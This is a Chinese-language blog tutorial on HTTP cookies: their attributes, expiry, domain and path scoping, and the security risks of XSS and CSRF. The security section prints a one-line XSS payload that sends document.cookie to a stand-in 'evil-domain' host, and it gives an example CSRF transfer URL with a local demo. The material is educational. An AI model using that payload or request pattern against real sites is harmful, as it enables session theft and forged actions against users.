当前位置: 首页 > news >正文

cookie浅谈

前言

这段时间在学习关于web安全方面的东西,其中的CSRF(Cross-site request forgery)跨站请求伪造攻击的关键就在于恶意网站可以设法伪造带有正确 cookie 的 HTTP 请求,于是就产生了一个疑问,cookie不是有跨域限制吗?为什么攻击者可以跨域携带被攻击者网站的cookie呢 ?带着这些问题,我查找了一些资料,系统的学习了一下cookie的知识,解决了我的疑惑。希望能带给大家一些帮助。

一、cookie的定义

An HTTP cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user’s web browser. The browser may store it and send it back with the next request to the same server. Typically, it’s used to tell if two requests came from the same browser — keeping a user logged-in, for example. It remembers stateful information for the stateless HTTP protocol.

HTTP协议本身是无状态的。什么是无状态呢,即服务器无法判断用户身份。Cookie实际上是一小段的文本信息(key-value格式)。客户端向服务器发起请求,如果服务器需要记录该用户状态,就使用response向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。

二、cookie的运行机制

在这里插入图片描述

三、cookie的主要用途

会话管理
登录名,购物车,游戏得分或服务器应记住的其他任何内容
个性化
用户首选项,主题和其他设置
追踪
记录和分析用户行为

四、cookie的属性

name

1、可以是除了控制字符 (CTLs)、空格 (spaces) 或制表符 (tab)之外的任何 US-ASCII 字符。同时不能包含以下分隔字符: ( ) < > @ , ; : \ " / [ ] ? = { }
2、一个域名下绑定的cookie,name不能相同,相同的name的值会被覆盖掉
3、name区分大小写

value

1、可选属性,如果存在的话,那么需要包含在双引号里面。
不支持控制字符(CTLs)、空格(whitespace)、双引号(double quotes)、逗号(comma)、分号(semicolon)以及反斜线(backslash)
2、关于编码:许多应用会对 cookie 值按照URL编码(URL encoding)规则进行编码,但是按照 RFC 规范,这不是必须的。不过满足规范中对于 <cookie-value> 所允许使用的字符的要求是有用的

cookie的有效期

在这里插入图片描述

1、Expires=<date>

1、可以通过设置Expires属性为未来的一个时间节点,超过该节点后,cookie失效
2、一般浏览器的cookie都是默认储存的,当关闭浏览器结束这个会话的时候,这个cookie也就会被删除,这就是上图中的——session(会话储存)。
3、很多Web浏览器支持会话恢复功能,这个功能可以使浏览器保留所有的tab标签,然后在重新打开浏览器的时候将其还原。与此同时,cookie 也会恢复,就跟从来没有关闭浏览器一样。

2、Max-Age=<non-zero-digit>

在 cookie 失效之前需要经过的秒数。秒数为 0 或 -1 将会使 cookie 直接过期。一些老的浏览器(ie6、ie7 和 ie8)不支持这个属性。对于其他浏览器来说,假如二者 (指 Expires 和Max-Age) 均存在,那么 Max-Age 优先级更高

Domain=<domain-value>

指定 cookie 可以送达的主机名。假如没有指定,那么默认值为当前文档访问地址中的主机部分(但是不包含子域名)。与之前的规范不同的是,域名之前的点号会被忽略。假如指定了域名,那么相当于各个子域名也包含在内了。
1、cookie不能跨域名设置
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
2、正常情况下,同一个一级域名下的两个二级域名也不能交互使用Cookie,比如test1.mcrwayfun.com和test2.mcrwayfun.com,因为二者的域名不完全相同。如果想要mcrwayfun.com名下的二级域名都可以使用该Cookie,需要设置Cookie的domain参数为.mcrwayfun.com,这样使用test1.mcrwayfun.com和test2.mcrwayfun.com就能访问同一个cookie。

Path=<path-value>

1、path表示cookie所在的目录,默认为/,就是根目录。 path只能设置为绝对路径,浏览器跟会根据这项配置,向指定域中匹配的路径发送cookie。(默认值:只在当前路径及子路径下有效)
例如,设置 Path=/docs,则以下地址都会匹配:

  • /docs
  • /docs/Web/
  • /docs/Web/HTTP

2、接口请求中携带的cookie也是根据domain和path进行筛选
在这里插入图片描述
在这里插入图片描述

Secure

一个带有安全属性的 cookie 只有在请求使用SSL和HTTPS协议的时候才会被发送到服务器。然而,保密或敏感信息永远不要在 HTTP cookie 中存储或传输,因为整个机制从本质上来说都是不安全的,比如前述协议并不意味着所有的信息都是经过加密的。

注意:非安全站点(http:)已经不能再在 cookie 中设置 secure 指令了(在Chrome 52+ and Firefox 52+ 中新引入的限制)

HttpOnly

设置了 HttpOnly 属性的 cookie 不能使用 JavaScript 经由 Document.cookie 属性、XMLHttpRequest 和 Request APIs 进行访问,以防范跨站脚本攻击(XSS)

SameSite

Cookie 的SameSite属性用来限制第三方 Cookie,可以用来防止CSRF攻击,从而减少安全风险。它可以设置三个值:

  • Strict
  • Lax
  • None

具体使用可参考阮一峰大神的这篇文章:Cookie 的 SameSite 属性

五、安全

会话劫持和XSS

在Web应用中,Cookie常用来标记用户或授权会话。因此,如果Web应用的Cookie被窃取,可能导致授权用户的会话受到攻击。常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。

跨站请求伪造(CSRF)

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求, cookie随着跨域请求一起发送。利用受害者在被攻击网站已经获取的注册凭证,达到冒充用户对被攻击的网站执行某项操作的目的。

常见攻击流程:

  • 受害者登录a.com,并保留了登录凭证(Cookie)。
  • 攻击者引诱受害者访问了b.com。
  • b.com中调用了a.com中的接口,浏览器会默认携带a.com的Cookie。 例如转账接口
http://www.a.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
  • a.com的后台接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求,执行接口相应操作,攻击者完成攻击目的。

例如我在3000端口起一个服务器,并且设置cookie

var express = require('express');
var app = express();
var URL = require('url')
var path = require('path');
//后端不能跨域写cookie
app.get('/demo/', function(req, res) {res.cookie('token', '11111112222222224444444444')res.cookie('httpOnly-token', '11111112222222224444444444', {httpOnly: true,domain:"www.baidu.com"})var response = {status: 1};res.send(JSON.stringify(response));
});
app.listen(3000);
console.log('Listening on port 3000...');

然后再本地的8848端口发起跨域请求

<!DOCTYPE html>
<html lang="zh">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title></title>
</head>
<body><img src="http://localhost:3000/demo/" >
</body>
</html>

在这里插入图片描述

参考

HTTP cookies
把cookie聊清楚
javascript获取cookie
前端安全系列之二:如何防止CSRF攻击?


http://www.taodudu.cc/news/show-7678406.html

相关文章:

  • 删除cookie、获取cookie
  • 技术报告:XSS盗取Cookie
  • 本地存储:cookie,localstorage
  • 前端获取Cookie/在前端判断ViewBag是否为空/用js输出html
  • Java之SessionCookie
  • js操作Cookie函数封装及使用
  • Cookie中特殊字符
  • JavaScript 学习笔记 —基础篇(7)(Json + 本地存储cookie)
  • JS Cookie 保存多个参数和根据名称取值
  • JS:Cookie的写入,读取和删除
  • java获取前端发送的cookie_Response Headers 的 Set-Cookie 前端读取不到 ?
  • JavaScript-cookie基础讲解
  • JavaScript(12) -Cookie的使用,Cookie封装及JSON
  • Polar码的编码思想以及SC译码算法
  • hashmap 遍历时,如何安全删除元素?
  • ArrayList和HashMap遍历方式的比较
  • Java中HashMap遍历几种方式
  • HashMap遍历的两种
  • 根据先序序列和中序序列递归创建二叉树
  • bootstrap-editable下拉框默认选中
  • thymeleaf(模板) select(下拉框) 默认选中效果(回选效果)
  • win11下载Ganache超级慢或者中断失败。
  • 1:以太坊Dapp开发i环境ganache的使用
  • 使用Ganache进行合约测试
  • ganache与metamask
  • 基于Ganache和MetaMask搭建以太坊私有网络
  • Truffle、Ganache开发智能合约
  • ADAM算法 自动调节学习率
  • Pytorch Note20 优化算法6 Adam算法
  • 动手学PyTorch | (44) Adam算法